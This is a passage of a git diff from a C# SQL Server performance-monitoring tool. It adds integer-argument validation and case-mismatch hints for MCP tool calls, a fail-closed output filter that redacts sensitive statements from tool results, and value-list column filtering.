+           Where the declared type is on record the check is the binder's own; where it is not, an integer
+           parameter is judged by the schema alone, as before. */
+        var toolName = tool.ProtocolTool.Name;
+        IReadOnlyDictionary<string, McpParameterType>? declared = null;
+        _ = types?.TryGet(toolName, out declared);
+
+        var problems = arguments
+            .OrderBy(argument => argument.Key, StringComparer.Ordinal)
+            .Select(argument => (argument.Key, Sentence: declared is not null && declared.TryGetValue(argument.Key, out var type)
+                ? McpArgumentValueCheck.Problem(toolName, argument.Key, argument.Value, type)
+                : SchemaProblem(toolName, argument.Key, argument.Value, parameterSchemas)))
+            .Where(problem => problem.Sentence is not null)
+            .Select(problem => (problem.Key, Sentence: problem.Sentence!))
+            .ToList();
+
+        return problems.Count == 0 ? null : ValueEnvelope(toolName, problems, accepted);
+    }
+
+    /// <summary>
+    /// The whole-number sentence for an argument whose parameter the schema advertises as an integer and whose value
+    /// no integer type can read, or null. Used for a tool with no recorded parameter types.
+    /// </summary>
+    private static string? SchemaProblem(
+        string toolName, string key, JsonElement value, Dictionary<string, JsonElement> parameterSchemas)
+    {
+        if (!parameterSchemas.TryGetValue(key, out var schema) || !IsIntegerParameter(schema) || BinderReadsAsInteger(value))
         {
             return null;
         }
 
-        return Envelope(tool.ProtocolTool.Name, unknown, accepted);
+        return OutOfRangeWord(value) is string reason
+            ? $"Argument '{key}' for tool '{toolName}' takes {WholeNumberOf(key)},"
+              + $" and the call sent {Shorten(value.GetRawText())}, which is {reason}."
+            : $"Argument '{key}' for tool '{toolName}' takes {WholeNumberOf(key)} with no decimal point,"
+              + $" such as 1, and the call sent {Shorten(value.GetRawText())}.";
     }
 
     /// <summary>
-    /// The parameter names a tool accepts, read from the schema it ADVERTISES (<c>ProtocolTool.InputSchema</c>)
-    /// rather than from reflection over the method. The advertised schema is what the caller was told, it is
-    /// what the binder was built from, and it already excludes the DI-injected service parameters that no
-    /// caller may send — so quoting it back is both the honest list and the correct one.
+    /// The parameters a tool accepts, with each one's schema, read from the schema it ADVERTISES
+    /// (<c>ProtocolTool.InputSchema</c>) rather than from reflection over the method. The advertised schema is
+    /// what the caller was told, it is what the binder was built from, and it already excludes the DI-injected
+    /// service parameters that no caller may send — so quoting it back is both the honest list and the correct
+    /// one.
     ///
-    /// <para>Ordinal-ignore-case because that is the binder's own matching, per the type doc. Returns false
-    /// only when the schema is not a readable object — an object with no <c>properties</c> is a readable
-    /// schema for a tool that accepts nothing, and returns an empty set rather than a failure.</para>
+    /// <para>Ordinal, because the binder matches names exactly, per the type doc. Returns false only when the
+    /// schema is not a readable object — an object with no <c>properties</c> is a readable schema for a tool
+    /// that accepts nothing, and returns an empty set rather than a failure.</para>
     /// </summary>
-    private static bool TryReadAcceptedParameters(McpServerTool tool, out HashSet<string> accepted)
+    private static bool TryReadParameters(McpServerTool tool, out Dictionary<string, JsonElement> parameterSchemas)
     {
-        accepted = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        parameterSchemas = new Dictionary<string, JsonElement>(StringComparer.Ordinal);
 
         var schema = tool.ProtocolTool.InputSchema;
         if (schema.ValueKind != JsonValueKind.Object)
@@ -141,13 +250,140 @@ private static bool TryReadAcceptedParameters(McpServerTool tool, out HashSet<st
         {
             foreach (var property in properties.EnumerateObject())
             {
-                accepted.Add(property.Name);
+                parameterSchemas[property.Name] = property.Value;
             }
         }
 
         return true;
     }
 
+    /// <summary>
+    /// Whether a parameter is advertised as an integer. The schema says <c>"integer"</c> for every integer type
+    /// (<c>int</c>, <c>int?</c>, <c>long</c>, <c>short</c>, <c>byte</c>) alike, so this cannot tell them apart. It is the
+    /// fallback for a tool whose parameter types were not recorded (<see cref="McpToolParameterTypes"/>), and the value
+    /// check below is built to be right for every integer type.
+    /// </summary>
+    private static bool IsIntegerParameter(JsonElement parameterSchema)
+    {
+        if (parameterSchema.ValueKind != JsonValueKind.Object
+            || !parameterSchema.TryGetProperty("type", out var type))
+        {
+            return false;
+        }
+
+        if (type.ValueKind == JsonValueKind.String)
+        {
+            return type.GetString() == "integer";
+        }
+
+        /* A type list counts only when "integer" is its one non-null type: with "number" or "string" beside it,
+           a fraction or a word could be a value the parameter takes. */
+        if (type.ValueKind != JsonValueKind.Array)
+        {
+            return false;
+        }
+
+        var types = type.EnumerateArray()
+            .Where(entry => entry.ValueKind == JsonValueKind.String)
+            .Select(entry => entry.GetString())
+            .Where(name => name != "null")
+            .ToList();
+
+        return types.Count == 1 && types[0] == "integer";
+    }
+
+    /// <summary>
+    /// Whether the binder could read <paramref name="value"/> into an integer parameter: an integer literal
+    /// within <see cref="long"/>, or a string that holds one (the SDK reads numbers from strings). Null passes,
+    /// because a nullable parameter takes it and the schema does not say which parameters are nullable.
+    ///
+    /// <para>This is the schema-only path, so it errs only toward passing. A value it passes that the binder still
+    /// cannot read (above <see cref="int.MaxValue"/> for an <c>int</c>, or null for a parameter that is not nullable)
+    /// gets the SDK's own error. A value it refuses is one that no integer type reads, and a whole number past
+    /// <see cref="long"/> is the one it cannot tell from a <c>ulong</c> parameter's valid range, which is why a tool
+    /// with recorded types never comes here.</para>
+    /// </summary>
+    private static bool BinderReadsAsInteger(JsonElement value) => value.ValueKind switch
+    {
+        JsonValueKind.Number => value.TryGetInt64(out _),
+        JsonValueKind.String => long.TryParse(value.GetString(), NumberStyles.AllowLeadingSign, CultureInfo.InvariantCulture, out _),
+        JsonValueKind.Null => true,
+        _ => false,
+    };
+
+    /// <summary>
+    /// "too large" or "too small" when <paramref name="value"/> is an integer literal that
+    /// <see cref="BinderReadsAsInteger"/> refused, so it is past <see cref="long"/>; otherwise null. Decided by the
+    /// value's own text: a JSON number with no '.', 'e' or 'E', or a string of digits with an optional sign. Failing
+    /// to read as a long is not enough on its own, because 0.5 fails that too.
+    /// </summary>
+    private static string? OutOfRangeWord(JsonElement value)
+    {
+        var text = value.ValueKind switch
+        {
+            JsonValueKind.Number when value.GetRawText().AsSpan().IndexOfAny('.', 'e', 'E') < 0 => value.GetRawText(),
+            JsonValueKind.String => value.GetString() ?? "",
+            _ => null,
+        };
+
+        if (text is null)
+        {
+            return null;
+        }
+
+        var digits = text.AsSpan(text.StartsWith('-') || text.StartsWith('+') ? 1 : 0);
+        if (digits.IsEmpty || digits.ContainsAnyExceptInRange('0', '9'))
+        {
+            return null;
+        }
+
+        return text.StartsWith('-') ? "too small" : "too large";
+    }
+
+    /// <summary>
+    /// Builds the refusal for arguments whose values their parameters cannot take. One sentence per argument, naming
+    /// the argument, what it takes (a whole number of hours, for <c>hours_back</c>; true or false; text) and the value
+    /// that was sent, then the accepted parameters, as the unknown-argument refusal lists them.
+    /// <c>hints.parameter</c> is the first argument, the knob the caller must change.
+    /// </summary>
+    private static CallToolResult ValueEnvelope(
+        string toolName, List<(string Key, string Sentence)> problems, HashSet<string> accepted)
+    {
+        var message = string.Join(" ", problems.Select(problem => problem.Sentence))
+            + $" Accepted parameters: {string.Join(", ", accepted.OrderBy(name => name, StringComparer.Ordinal))}."
+            + " The call was refused before it ran, because the tool cannot read "
+            + (problems.Count == 1 ? "this value." : "these values.");
+
+        return new CallToolResult
+        {
+            Content = new List<ContentBlock>
+            {
+                new TextContentBlock { Text = McpHelpers.Refusal(problems[0].Key, message) }
+            },
+            IsError = true,
+        };
+    }
+
+    /// <summary>"a whole number of hours" for <c>hours_back</c>, from the unit word in the parameter's name, or
+    /// "a whole number" when its name has none (<c>limit</c>, <c>top</c>).</summary>
+    internal static string WholeNumberOf(string parameter)
+    {
+        var unit = parameter
+            .Split('_')
+            .FirstOrDefault(segment => s_unitWords.Contains(segment));
+
+        return unit is null ? "a whole number" : $"a whole number of {unit.ToLowerInvariant()}";
+    }
+
+    private static readonly HashSet<string> s_unitWords = new(StringComparer.OrdinalIgnoreCase)
+    {
+        "hours", "days", "minutes", "seconds"
+    };
+
+    /// <summary>The value as it was sent, cut short so a long string cannot flood the message. The shared
+    /// <see cref="McpHelpers.Truncate"/>, so the cut never splits a character.</summary>
+    internal static string Shorten(string rawValue) => McpHelpers.Truncate(rawValue, 40)!;
+
     /// <summary>
     /// Builds the refusal. The unknown key goes in <c>hints.parameter</c> — the house convention is that a
     /// refusal names the knob the caller must change, and here the knob IS the mistake.
@@ -173,6 +409,13 @@ private static CallToolResult Envelope(string toolName, List<string> unknown, Ha
             sentence += $" Did you mean {string.Join(", ", suggestions)}?";
         }
 
+        /* A key that differs from a parameter only by letter case looks right to the caller, so say why it is
+           unknown: the SDK binds a name only when it matches exactly. */
+        if (unknown.Any(key => accepted.Any(name => string.Equals(name, key, StringComparison.OrdinalIgnoreCase))))
+        {
+            sentence += " Argument names must match exactly, including letter case.";
+        }
+
         /* A no-parameter tool says so, rather than printing "Accepted parameters: ." — it is also the
            clearest possible correction, because the caller's whole argument object was the mistake. */
         sentence += accepted.Count == 0
@@ -202,6 +445,14 @@ private static CallToolResult Envelope(string toolName, List<string> unknown, Ha
     /// </summary>
     private static string? NearestMatch(string key, HashSet<string> accepted)
     {
+        /* A key that differs only by letter case (HOURS_BACK) names its parameter outright, before any looser
+           match below can name a different one first. */
+        var sameLetters = accepted.FirstOrDefault(name => string.Equals(name, key, StringComparison.OrdinalIgnoreCase));
+        if (sameLetters is not null)
+        {
+            return sameLetters;
+        }
+
         foreach (var candidate in accepted.OrderBy(name => name, StringComparer.Ordinal))
         {
             /* The truncation case: the caller sent a real parameter's prefix (hours for hours_back). Bounded
diff --git a/PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs b/PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs
new file mode 100644
index 0000000000..41993f99af
--- /dev/null
+++ b/PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs
@@ -0,0 +1,267 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using ModelContextProtocol;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// #4348: the statement filter's one choke point for MCP output. A call-tool filter that runs each tool's result
+/// through <see cref="SensitiveStatements"/> before it leaves the host, so every tool, current and future, is
+/// covered without a per-tool change. Error results are swept too: an error sentence can echo a statement.
+///
+/// <para><b>Order.</b> The first filter added is the outermost, so a host registers this one LAST: it then sits next
+/// to the tool and reads the tool's own JSON, before any output re-encoder (GCF) reshapes it. Registered earlier,
+/// a re-encoder would turn a line feed between two tokens into two characters and the judge would no longer see
+/// the statement.</para>
+///
+/// <para><b>Budget.</b> One budget covers every block of one result: 1.5 s, plus 0.5 s per 1,048,576 characters of each
+/// distinct block, up to 10 s (#5477). Past it, every later value comes back as
+/// the marker. A result the sweep cannot read is replaced by <see cref="SensitiveStatements.JsonRefusal"/> as an
+/// error result, never passed through.</para>
+/// </summary>
+public static class SensitiveStatementOutputFilter
+{
+    /// <summary>The filter: run the tool, then sweep its result. A filter is <c>next =&gt; handler</c>.</summary>
+    public static McpRequestFilter<CallToolRequestParams, CallToolResult> Instance =>
+        next => async (request, cancellationToken) =>
+        {
+            try
+            {
+                return Sweep(await next(request, cancellationToken));
+            }
+            catch (McpException ex)
+            {
+                // #4348: the SDK turns a thrown McpException into an error result of its own, from the exception's
+                // message, OUTSIDE this filter's result sweep. A tool's message can echo a statement, so the message
+                // is swept here and the exception rethrown with the same type, error code and inner exception.
+                throw WithSweptMessage(ex);
+            }
+        };
+
+    /// <summary>
+    /// A copy of <paramref name="ex"/> whose message is swept (the same object when nothing in it is named). A
+    /// message the sweep cannot read becomes <see cref="SensitiveStatements.JsonRefusal"/>, never the raw text.
+    /// </summary>
+    private static McpException WithSweptMessage(McpException ex)
+    {
+        string swept;
+        try
+        {
+            swept = Judge(ex.Message, new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget));
+        }
+#pragma warning disable CA1031 // fail closed: the sweep never lets the message through after a failure
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            swept = SensitiveStatements.JsonRefusal;
+        }
+
+        if (ReferenceEquals(swept, ex.Message)) return ex;
+        return ex is McpProtocolException protocol
+            ? new McpProtocolException(swept, ex.InnerException, protocol.ErrorCode)
+            : new McpException(swept, ex.InnerException);
+    }
+
+    /// <summary>
+    /// Returns <paramref name="result"/> itself when nothing in it is named, otherwise a copy with each named
+    /// string replaced. Never throws and never returns the input after a failure.
+    /// </summary>
+    public static CallToolResult Sweep(CallToolResult result)
+    {
+        if (result is null) return result!;
+
+        try
+        {
+            /* #5478 / #5484: a large read in the first seconds of the process would walk cold code and be withheld, so
+               a result of 256 KB or more first waits for the start-up warm-up, up to 3 s after it started. The sweep
+               runs on a pool thread, so the blocking wait is fine. The result is sized only while a warm-up can still make
+               the call wait: sizing copies the structured content, and it must not recur for the life of the process. */
+            SensitiveStatements.WaitForWarmUp(() => SweptChars(result));
+            var budget = new SensitiveStatements.JudgeBudget(SensitiveStatements.ReadBudget);
+            bool changed = false;
+
+            List<ContentBlock>? content = null;
+            if (result.Content is { Count: > 0 } blocks)
+            {
+                for (int i = 0; i < blocks.Count; i++)
+                {
+                    ContentBlock? swept = SweepBlock(blocks[i], budget);
+                    if (ReferenceEquals(swept, blocks[i])) continue;
+                    content ??= new List<ContentBlock>(blocks);
+                    content[i] = swept!;
+                    changed = true;
+                }
+            }
+
+            JsonElement? structured = result.StructuredContent;
+            if (structured is not null)
+            {
+                string json = structured.Value.GetRawText();
+                string judged = Judge(json, budget);
+                if (!ReferenceEquals(judged, json))
+                {
+                    using JsonDocument parsed = JsonDocument.Parse(judged);
+                    structured = parsed.RootElement.Clone();
+                    changed = true;
+                }
+            }
+
+            JsonObject? meta = SweepMeta(result.Meta, budget);
+            if (!ReferenceEquals(meta, result.Meta)) changed = true;
+
+            if (!changed) return result;
+
+            return new CallToolResult
+            {
+                Content = content ?? result.Content,
+                StructuredContent = structured,
+                IsError = result.IsError,
+                Meta = meta,
+            };
+        }
+#pragma warning disable CA1031 // fail closed: the sweep never lets the input through after a failure
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return Refusal();
+        }
+    }
+
+    /// <summary>How many times a result was sized. A test seam: it proves a sweep after the warm-up never sizes.</summary>
+    internal static long SizingCalls => Interlocked.Read(ref s_sizingCalls);
+
+    private static long s_sizingCalls;
+
+    /// <summary>The characters the sweep will judge in <paramref name="result"/>: the text of each text block and text
+    /// resource, and the structured content. The size gate of the warm-up wait; a block the sweep cannot read
+    /// counts for nothing here because it is refused, not walked.</summary>
+    private static long SweptChars(CallToolResult result)
+    {
+        Interlocked.Increment(ref s_sizingCalls);
+        long total = 0;
+        if (result.Content is { Count: > 0 } blocks)
+        {
+            foreach (ContentBlock block in blocks)
+            {
+                total += block switch
+                {
+                    TextContentBlock text => text.Text?.Length ?? 0,
+                    EmbeddedResourceBlock { Resource: TextResourceContents resource } => resource.Text?.Length ?? 0,
+                    _ => 0,
+                };
+            }
+        }
+
+        if (result.StructuredContent is { } structured)
+        {
+            total += structured.GetRawText().Length;
+        }
+
+        return total;
+    }
+
+    /// <summary>Sweeps one block. A block type this filter does not know (an image, audio, a blob resource, a
+    /// resource link, anything a later SDK adds) cannot be read, so it is not passed through: it throws, and the
+    /// caller turns the whole result into the fixed refusal.</summary>
+    private static ContentBlock? SweepBlock(ContentBlock block, SensitiveStatements.JudgeBudget budget)
+    {
+        switch (block)
+        {
+            case TextContentBlock text:
+            {
+                JsonObject? meta = SweepMeta(text.Meta, budget);
+                if (string.IsNullOrEmpty(text.Text))
+                    return ReferenceEquals(meta, text.Meta)
+                        ? block
+                        : new TextContentBlock { Text = text.Text, Annotations = text.Annotations, Meta = meta };
+                string judged = Judge(text.Text, budget);
+                if (ReferenceEquals(judged, text.Text) && ReferenceEquals(meta, text.Meta)) return block;
+                return new TextContentBlock { Text = judged, Annotations = text.Annotations, Meta = meta };
+            }
+            case EmbeddedResourceBlock { Resource: TextResourceContents resource } embedded:
+            {
+                JsonObject? blockMeta = SweepMeta(embedded.Meta, budget);
+                JsonObject? resourceMeta = SweepMeta(resource.Meta, budget);
+                // A URI or MIME type with a named statement in it is useless with the statement replaced, so it
+                // refuses the whole result (the block keeps a valid shape) instead of rewriting the value.
+                RefuseIfNamed(resource.Uri, budget);
+                RefuseIfNamed(resource.MimeType, budget);
+                string judged = string.IsNullOrEmpty(resource.Text) ? resource.Text : Judge(resource.Text, budget);
+                if (ReferenceEquals(judged, resource.Text)
+                    && ReferenceEquals(blockMeta, embedded.Meta)
+                    && ReferenceEquals(resourceMeta, resource.Meta))
+                {
+                    return block;
+                }
+
+                return new EmbeddedResourceBlock
+                {
+                    Resource = new TextResourceContents
+                    {
+                        Uri = resource.Uri,
+                        MimeType = resource.MimeType,
+                        Text = judged,
+                        Meta = resourceMeta,
+                    },
+                    Annotations = embedded.Annotations,
+                    Meta = blockMeta,
+                };
+            }
+            default:
+                throw new InvalidOperationException(SensitiveStatements.JsonRefusal);
+        }
+    }
+
+    /// <summary>Sweeps a <c>_meta</c> object under the shared budget: it is judged as the JSON it is, so a named
+    /// string inside it becomes the marker. The same instance comes back when nothing in it is named.</summary>
+    private static JsonObject? SweepMeta(JsonObject? meta, SensitiveStatements.JudgeBudget budget)
+    {
+        if (meta is null) return null;
+        string json = meta.ToJsonString();
+        string judged = Judge(json, budget);
+        if (ReferenceEquals(judged, json)) return meta;
+        return JsonNode.Parse(judged) as JsonObject ?? throw new InvalidOperationException(SensitiveStatements.JsonRefusal);
+    }
+
+    /// <summary>Judges a value that cannot be rewritten (a resource URI or MIME type) under the shared budget and
+    /// throws the refusal when anything in it is named.</summary>
+    private static void RefuseIfNamed(string? value, SensitiveStatements.JudgeBudget budget)
+    {
+        if (string.IsNullOrEmpty(value)) return;
+        if (!ReferenceEquals(Judge(value, budget), value))
+            throw new InvalidOperationException(SensitiveStatements.JsonRefusal);
+    }
+
+    /// <summary>Sweeps one string. A refusal from the walk is thrown, so the whole result becomes the refusal
+    /// (as an error result) instead of one block of it.</summary>
+    private static string Judge(string output, SensitiveStatements.JudgeBudget budget)
+    {
+        string judged = SensitiveStatements.Json(output, budget);
+        if (string.Equals(judged, SensitiveStatements.JsonRefusal, StringComparison.Ordinal)
+            && !string.Equals(output, SensitiveStatements.JsonRefusal, StringComparison.Ordinal))
+        {
+            throw new InvalidOperationException(SensitiveStatements.JsonRefusal);
+        }
+
+        return judged;
+    }
+
+    private static CallToolResult Refusal() => new()
+    {
+        IsError = true,
+        Content = new List<ContentBlock> { new TextContentBlock { Text = SensitiveStatements.JsonRefusal } },
+    };
+}
diff --git a/PerformanceMonitor.Common/Mcp/TrendBuckets.cs b/PerformanceMonitor.Common/Mcp/TrendBuckets.cs
index a81fdd6968..e36469c595 100644
--- a/PerformanceMonitor.Common/Mcp/TrendBuckets.cs
+++ b/PerformanceMonitor.Common/Mcp/TrendBuckets.cs
@@ -302,7 +302,7 @@ public static string LevelNote(int bucketMinutes, bool requested, int budgetPoin
         + Sizing(requested, budgetPoints);
 
     /// <summary>The closing sentence both notes share: where the width came from, and how to ask for another.</summary>
-    private static string Sizing(bool requested, int budgetPoints) =>
+    public static string Sizing(bool requested, int budgetPoints) =>
         requested
             ? "The width is the bucket_minutes you passed."
             : $"The width was chosen to keep this answer near {budgetPoints.ToString(CultureInfo.InvariantCulture)} points; pass bucket_minutes (1-{MaxBucketMinutes}) for another width, or narrow hours_back for finer points.";
diff --git a/PerformanceMonitor.Common/Mcp/TrendPayloads.cs b/PerformanceMonitor.Common/Mcp/TrendPayloads.cs
index 516647459b..39b46bbc03 100644
--- a/PerformanceMonitor.Common/Mcp/TrendPayloads.cs
+++ b/PerformanceMonitor.Common/Mcp/TrendPayloads.cs
@@ -106,13 +106,15 @@ public static int LinesFor(int activeSeries) =>
 
     /// <summary>
     /// <c>get_file_io_trend</c>'s data envelope. <paramref name="scope"/> is the database the read was narrowed
-    /// to (per-file grain), null for the per-(database, file type) grain. The <c>series</c> legend's totals are
+    /// to (per-file grain), null for the per-(database, file type) grain. <paramref name="databaseEcho"/> (#5244) is the
+    /// <c>database_name</c> the answer reports when it differs from <paramref name="scope"/>: Darling's "the chosen
+    /// databases" for a read limited to two or more databases, which keeps the per-database grain. The <c>series</c> legend's totals are
     /// summed from the served points, so the legend and the lines cannot disagree about a series; its file counts
     /// come from the ranking.
     /// </summary>
     public static string FileIoTrend(
         string serverName, int hoursBack, string? scope, IReadOnlyList<FileIoSeries> series, IReadOnlyList<FileIoPoint> points,
-        int bucketMinutes, bool requested, int autoBudget, object discontinuities)
+        int bucketMinutes, bool requested, int autoBudget, object discontinuities, string? databaseEcho = null)
     {
         var charted = ChartedFor(series.Count);
         var folded = series.Count - charted;
@@ -135,7 +137,7 @@ public static string FileIoTrend(
         {
             ["server"] = serverName,
             ["hours_back"] = hoursBack,
-            ["database_name"] = scope,
+            ["database_name"] = databaseEcho ?? scope,
             ["series_grain"] = perFile ? "file" : "database_file_type",
             ["bucket"] = TrendBuckets.Word(bucketMinutes),
             ["bucket_minutes"] = bucketMinutes,
diff --git a/PerformanceMonitor.Common/Models/ColumnFilterState.cs b/PerformanceMonitor.Common/Models/ColumnFilterState.cs
index 1ee2320805..18db9ec753 100644
--- a/PerformanceMonitor.Common/Models/ColumnFilterState.cs
+++ b/PerformanceMonitor.Common/Models/ColumnFilterState.cs
@@ -6,10 +6,26 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
+using System.Collections.Generic;
+
 namespace PerformanceMonitor.Common;
 
 /// <summary>
-/// Represents the filter state for a single DataGrid column.
+/// How a column filter's value list (#5565) reads its values: not at all, show only the listed values, or hide the
+/// listed values. <see cref="Hide"/> keeps a value that first appears after a refresh visible; <see cref="ShowOnly"/>
+/// keeps it out.
+/// </summary>
+public enum ColumnValueMode
+{
+    None,
+    ShowOnly,
+    Hide
+}
+
+/// <summary>
+/// Represents the filter state for a single DataGrid column: the text match (operator and typed value) and the
+/// value-list part (#5565). A row passes the column when it passes both.
 /// </summary>
 public class ColumnFilterState
 {
@@ -17,9 +33,45 @@ public class ColumnFilterState
     public FilterOperator Operator { get; set; } = FilterOperator.Contains;
     public string Value { get; set; } = string.Empty;
 
-    public bool IsActive => !string.IsNullOrEmpty(Value) ||
-                            Operator == FilterOperator.IsEmpty ||
-                            Operator == FilterOperator.IsNotEmpty;
+    /// <summary>The value-list part. <see cref="ColumnValueMode.None"/> means the list does not filter.</summary>
+    public ColumnValueMode ValueMode { get; set; } = ColumnValueMode.None;
+
+    /// <summary>
+    /// The values the value part names (shown under <see cref="ColumnValueMode.ShowOnly"/>, hidden under
+    /// <see cref="ColumnValueMode.Hide"/>), compared ordinal ignore-case.
+    /// </summary>
+    public HashSet<string> Values { get; set; } = new(StringComparer.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// Whether the (Blanks) entry is named by the value part: shown under ShowOnly, hidden under Hide. A flag of its
+    /// own, so a real value spelled "(Blanks)" stays an ordinary value.
+    /// </summary>
+    public bool ValueBlank { get; set; }
+
+    /// <summary>The text match (operator and typed value) filters.</summary>
+    public bool HasTextMatch => !string.IsNullOrEmpty(Value) ||
+                                Operator == FilterOperator.IsEmpty ||
+                                Operator == FilterOperator.IsNotEmpty;
+
+    /// <summary>The value list filters. ShowOnly of nothing counts: it shows no rows.</summary>
+    public bool HasValuePart => ValueMode != ColumnValueMode.None;
+
+    /// <summary>The value part is ShowOnly with nothing ticked, so no row can pass it.</summary>
+    public bool ShowsNoValues => ValueMode == ColumnValueMode.ShowOnly && Values.Count == 0 && !ValueBlank;
+
+    public bool IsActive => HasTextMatch || HasValuePart;
+
+    /// <summary>"hides 3 values" / "shows 2 values" for the value part (the blank entry counts as a value); empty when there is none.</summary>
+    public string ValueDisplayText
+    {
+        get
+        {
+            if (!HasValuePart) return string.Empty;
+            var count = Values.Count + (ValueBlank ? 1 : 0);
+            var noun = count == 1 ? "value" : "values";
+            return ValueMode == ColumnValueMode.Hide ? $"hides {count} {noun}" : $"shows {count} {noun}";
+        }
+    }
 
     public string DisplayText
     {
@@ -27,6 +79,19 @@ public string DisplayText
         {
             if (!IsActive) return string.Empty;
 
+            var parts = new List<string>();
+            if (HasValuePart)
+                parts.Add(ValueDisplayText);
+            if (HasTextMatch)
+                parts.Add(TextDisplayText);
+            return string.Join(", ", parts);
+        }
+    }
+
+    private string TextDisplayText
+    {
+        get
+        {
             return Operator switch
             {
                 FilterOperator.Contains => $"Contains '{Value}'",
diff --git a/PerformanceMonitor.Common/PerfmonCounterTypes.cs b/PerformanceMonitor.Common/PerfmonCounterTypes.cs
index 78546cacba..cde3ae5703 100644
--- a/PerformanceMonitor.Common/PerfmonCounterTypes.cs
+++ b/PerformanceMonitor.Common/PerfmonCounterTypes.cs
@@ -69,11 +69,10 @@ public enum PerfmonCounterKind
 /// finding of the rung that stored the type, not something it fixes.</description></item>
 /// </list></para>
 ///
-/// <para><b>One vocabulary, two projects.</b> The COLLECTOR decides the write shape from the same gauge set
-/// (<c>PerfmonStatsCollector.GaugeCounterTypes</c>), but <c>PerformanceMonitor.Collectors</c> and this
-/// assembly reference neither each other nor a third that could hold the ids, so the collector spells its
-/// set itself and <c>Lite.Tests/PerfmonCounterTypeTests</c> asserts the two sets equal — the twin-constant
-/// idiom the repo uses wherever an assembly boundary forbids one declaration.</para>
+/// <para><b>One vocabulary, two projects.</b> The COLLECTOR decides the write shape from the same gauge set:
+/// <c>PerfmonStatsCollector.GaugeCounterTypes</c> and <c>IsGauge</c> read <see cref="GaugeTypes"/>, so the set
+/// is declared once, here. <c>PerformanceMonitor.Collectors</c> references this assembly and this assembly does
+/// not reference it back; <c>Lite.Tests/PerfmonCounterTypeTests</c> holds both facts.</para>
 /// </summary>
 public static class PerfmonCounterTypes
 {
@@ -107,8 +106,7 @@ public static class PerfmonCounterTypes
     public static readonly IReadOnlySet<int> RateTypes = new HashSet<int> { PerfCounterBulkCount, PerfCounterCounter };
 
     /// <summary>The ids that are gauges: the stored <c>cntr_value</c> is the reading and no delta is written for
-    /// them. The collector's <c>GaugeCounterTypes</c> is this set, spelled on its side of the assembly boundary
-    /// and pinned equal.</summary>
+    /// them. The collector's <c>GaugeCounterTypes</c> and <c>IsGauge</c> read this set.</summary>
     public static readonly IReadOnlySet<int> GaugeTypes = new HashSet<int> { PerfCounterLargeRawCount, PerfCounterRawCount };
 
     /// <summary>The three-way reading of a stored type. An id this vocabulary has never seen is
diff --git a/PerformanceMonitor.Common/PerformanceMonitor.Common.csproj b/PerformanceMonitor.Common/PerformanceMonitor.Common.csproj
index d0656288d9..79fea4da9e 100644
--- a/PerformanceMonitor.Common/PerformanceMonitor.Common.csproj
+++ b/PerformanceMonitor.Common/PerformanceMonitor.Common.csproj
@@ -44,5 +44,8 @@
          than a look-alike, so a naming policy added there can never leave the round-trip invariant
          asserting keys no client ever receives. The two sibling test projects were already here. -->
     <InternalsVisibleTo Include="Darling.Tests" />
+    <!-- #5320: the alert statement filter (PerformanceMonitor.Alerting) judges one alert's values under one shared
+         1.5 s JudgeBudget, the way the MCP output filter does for one result. -->
+    <InternalsVisibleTo Include="PerformanceMonitor.Alerting" />
   </ItemGroup>
 </Project>
diff --git a/PerformanceMonitor.Common/SensitiveStatements.Json.cs b/PerformanceMonitor.Common/SensitiveStatements.Json.cs
new file mode 100644
index 0000000000..ae7aa0d0e8
--- /dev/null
+++ b/PerformanceMonitor.Common/SensitiveStatements.Json.cs
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// #4348: the JSON walk of the statement filter. It takes a whole tool result and hands every string in it to
+/// the text judge or the XML judge, so the caller does not have to know which fields carry statements.
+/// <see cref="JsonCore"/> holds the mechanics only. The two judges and the refusal sentence come in as
+/// arguments, so the walk is tested with fake judges and the filter wires the real ones in.
+/// </summary>
+public static partial class SensitiveStatements
+{
+    /// <summary>A string value shorter than this cannot name a statement, so it is not handed to the text judge.</summary>
+    private const int MinTextChars = 5;
+
+    /// <summary>
+    /// Walks <paramref name="output"/> and returns it with every statement-naming string replaced by what the
+    /// judges return.
+    /// <list type="bullet">
+    /// <item>A string value whose first non-space character is <c>&lt;</c> goes to <paramref name="xml"/>; any
+    /// other value of 5 or more characters goes to <paramref name="text"/>.</item>
+    /// <item>A key is judged with <paramref name="text"/>. A key the judge replaces becomes the replacement plus
+    /// <c>#n</c> (n = the key's 0-based position in its object), so the keys of one object stay unique.</item>
+    /// <item>When nothing changed, the ORIGINAL string instance comes back. When something changed, the tree is
+    /// re-serialized with <see cref="McpHelpers.JsonOptions"/>.</item>
+    /// <item>Output that is not JSON (raw plan XML, a plain-text message) is judged whole: first non-space
+    /// <c>&lt;</c> to <paramref name="xml"/>, else <paramref name="text"/>.</item>
+    /// <item>Any exception, from a judge or from the walk, returns <paramref name="refusal"/>, never the
+    /// input.</item>
+    /// </list>
+    /// </summary>
+    internal static string JsonCore(string output, Func<string?, string?> text, Func<string?, string?> xml, string refusal)
+    {
+        try
+        {
+            if (string.IsNullOrEmpty(output)) return output;
+
+            if (StartsWithAngle(output)) return Whole(output, text, xml, refusal);
+
+            JsonNode? root;
+            try
+            {
+                root = JsonNode.Parse(output);
+            }
+            catch (JsonException)
+            {
+                // Output that opens like JSON and does not parse (cut, or nested past the parser's depth) would be
